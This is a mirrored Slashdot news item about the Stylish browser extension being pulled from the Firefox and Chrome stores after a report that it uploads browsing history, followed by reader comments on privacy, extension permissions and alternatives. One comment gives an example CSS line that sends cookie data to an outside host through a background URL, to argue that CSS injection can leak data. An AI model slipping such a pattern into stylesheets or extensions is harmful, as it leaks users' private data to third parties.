Slashdot Mirror
Firefox and Chrome Pull Popular Browser Extension Stylish From Their Stores After Report Claimed It Logs and Shares Browsing History, Credentials
sombragris writes: Stylish, a popular extension available for Chrome and Firefox which allows for easy customization of any website, now phones home and shares its users' browser history with its corporate parent, according to blogger Robert Heaton. This prompted Firefox to ban the extension from its addons site and prompt all users to disable it. The discussion can be seen in the relevant bug report. In Heaton's words:
Stylish is no longer a well-meaning product with your best interests at heart. If you use and like Stylish, please uninstall it and switch to an alternative like Stylus, an offshoot from the good old version of Stylish that works in much the same way, minus the spyware.
Google too has pulled the extension from its extension store. This is not the first time Stylish is at the centre of a privacy debacle
We now live in "The Internet Economy" where everything is based on "monetizing" the customer.
Extentions need to be protected. We need to have a last known good backup system in place for extentions at risk of being hijacked.
What sad is many will say me included at one time ya get what ya pay for so them become scummy isn't a surprise. The problem is even if you PAY for a product take Windows 10, ya it was free but its not free anymore and the paid version is no different then the unpaid version. All the spyware,data mining,loss of control over ones own setting and program choices are in the PAID version. The one that may allow users to fully control isn't sold to the general public. Point is, paying for stinking product don't exclude the data spying you kinda expect from Free crap. We need to get off our lazy butts and start putting pressure on congress to get back the privacy that was taken from us and ya we allowed them.
Jack of all trades,master of none
from january 2017:
https://www.bleepingcomputer.c...
there was an opt-out setting then.. is there still today?
even still, the 'anonymous data' they're collecting isn't exactly anonymous
The title suggests that not just browsing history but credentials are uploaded. The latter is potentially much worse than the former. Does anyone have verifiable data on exactly what was uploaded? Does everyone who got caught out by this need to reset their IDs/passwords/whatever on every site they visited while using the extension? Or every site they've ever visited and allowed their browser to store login credentials?
The new owners could be in pretty deep brown stuff anyway given that this sort of behaviour without explicit consent is now very illegal throughout Europe, but if they were stealing credentials then it would be prudent to reset everything, which of course could mean dozens or hundreds of different sites for some people.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
There is a plague in the modern tech industry, where everything from browser extensions to microlibraries for your favourite programming language is written by someone you've never met, supplied via some sort of centralised repository or distribution channel that you trust instead, and then winds up on your machine doing who-knows-what because that trusted distribution mechanism missed something, or even because the trusted developer of some code you're running, which you downloaded via a trusted source, itself trusted someone else unwisely.
The solution to this isn't just proper validation of where the code you're downloading actually came from, it's also to have security models more sophisticated than the 1980s in the Internet age. For example, why the hell could a browser extension that was there to modify the appearance of pages you were visiting suddenly choose to upload anything to the mothership without requiring additional permissions?
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Just get those website themes through userscripts.
Sure, this is clearly a shitty thing for an extension to do - but the real blame lies squarely with the FF devs. On what fscking planet is there justification for ALLOWING an extension to access history in the first place?! They were perfectly happy to permanently break thousands of legitimate and useful extensions a year ago by refusing to support existing functionality in the "new" APIs, but utter retardedness like this passed their "merit" test?
(For the Chrome devs it's understandable, since the entire point of that browser is to spy on users in the first place).
Because of the way css works.
Consider something like "background: url('https://back.home?sent=with&cookies=yes')".
The separation between content and presentation in html is mostly posturing; in order to modify the appearance of a page, you need access to everything.
May the developers rot. Scum bags!
None of this is shocking, many of these developers of these extensions want to recoup their time and effort somehow. Maybe we all need to start realizing free is never free and collection of data and information in return for something is payment
Why do companies / people do this when there is *100 percent chance* that they will be discovered and excommunicated from the Internet Universe? One would think they would be a little more sneaky about it.
If you want news from today, you have to come back tomorrow.
As the summary notes, stylish has been suspicious for a while. I switched to stylus last time and have been more than happy with it.
Yes, you can do all kinds of things if the browser lets you. But there is no reason a browser couldn't simply impose a 100% firewall by default and let any extensions that genuinely do have a need to do something like your example ask for explicit permission. I would argue that the sort of behaviour you illustrated is relatively unusual for browser extensions, while sadly trying to exfiltrate data no longer is.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
I was using stylish for quite some-time. I'm disappointed that this kind of breaking of trust occurred with that extension. I've now switched over to stylus instead. It works great (even better than stylish). It seems to behave better, have a better UI, and more stability. So, if you're unsure what to use, definitely give stylus a try.
False. Stylish and its ilk do nothing but insert CSS. Browsers can implement an official API point for such functionality and sandbox it if needed. If you really need access to everything to inject CSS, it shows that the browser and permissions API isn't designed well enough.
Firefox, at least, still offers ye olden userStyle.css. The code is there; why not spruce it up a bit and make it an API call that has to go through the permission process? The only piece of information such an extension needs is the URL that you're visiting, so it can find and inject the CSS that you want on that page. Anything beyond that is asking for too much information. And it shouldn't be sending that data anywhere.
As the grandparent pointed out, you haven't solved anything.
Even if the plugin is only allowed to insert valid css into the page, it can send information back to any site on the internet, by using css properties which take url values, including background. The ability to send data to an arbitrary server is implicit in the ability to inject css into a page.
"Go to CNN [for a] spell-checked, fact-checked summary" -- CmdrTaco
Stylish still exists? We moved on years ago to Tampermonkey.
Kriston
People are concerned with the Cambridge Analytica stuff, where an app scrapes essentially publically-made data of users, but browser extensions are far scarier. If granted the right permissions, they have free reign on scraping password data. I imagine far more extensions are doing it.
Next time someone asks me why I'm still using Opera 11 and tries to argue that I could get most of the features it has that modern browsers don't have through extensions, I now have another good reason to point out!
Are you sure you aren't confusing Stylish with Scriptish?
Stylish is a theme extension for theming websites and browsers (when they allow it) you dumbo.
What you meant to say is Stylus or whatever else exists, not a script management addon.
This is true if you allow insertion of arbitrary CSS (or running of arbitrary code that can trigger requests via JS etc.) and then process it with no questions asked. However, browsers already deal with related concerns in areas like the same-origin policy and CORS. They could apply similar safeguards to locally generated requests.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Someone needs to start a peer-review system for firefox extensions.
The other day I installed a gestures extension and reviewed the source code myself before installing it for possible telemetry leaking. I didn't have any and it would be nice to upload my results to a website.
If someone made it nice like stackexchange with points I bet it would take off.
"What lies behind us, and what lies before us are tiny matters compared to what lies within us." Ralph Waldo Emerson
Is this not a crime? Who perpetrated it? Or did everyone who installed the extension agree to a EULA explaining that it did this? If so, I believe the problem is the existence of a EULA. They are too long and complex, nobody reads them, and so they have all kinds of stuff in them. Since people agree to them automatically, they lose their rights to use the legal system that should be punishing these criminals.
The problem now is an alternative to the theme website userstyles.
The new owners of Stylish, apart from doing the shit they are doing now, overhauled the userstyles UI and made it worse.
Broke search, broke search result system, broke thumbnails for a period, made it look shit.
Core point: Site which provide a system and a library of themes to theme websites to fix those shitty UI, change to preferred UI schemes, or improve UI;
instead overhauls itself and breaks everything and does a poorer job at UI than the majority of the userbase which provides themes for other sites.
Think about this for a second.
Also Userstyles tries to force the installation of the new spyware-ridden Stylish version (Stylish post-2.0.7 on Firefox) when you try to install styles for websites,
forcing users to manually install those styles and abandon the style update function.
So a centralized and Stylus-connected alternative to userstyles is also badly needed.
Nope, Tampermonkey et.al are supersets of the functionality provided by Stylish.
Kriston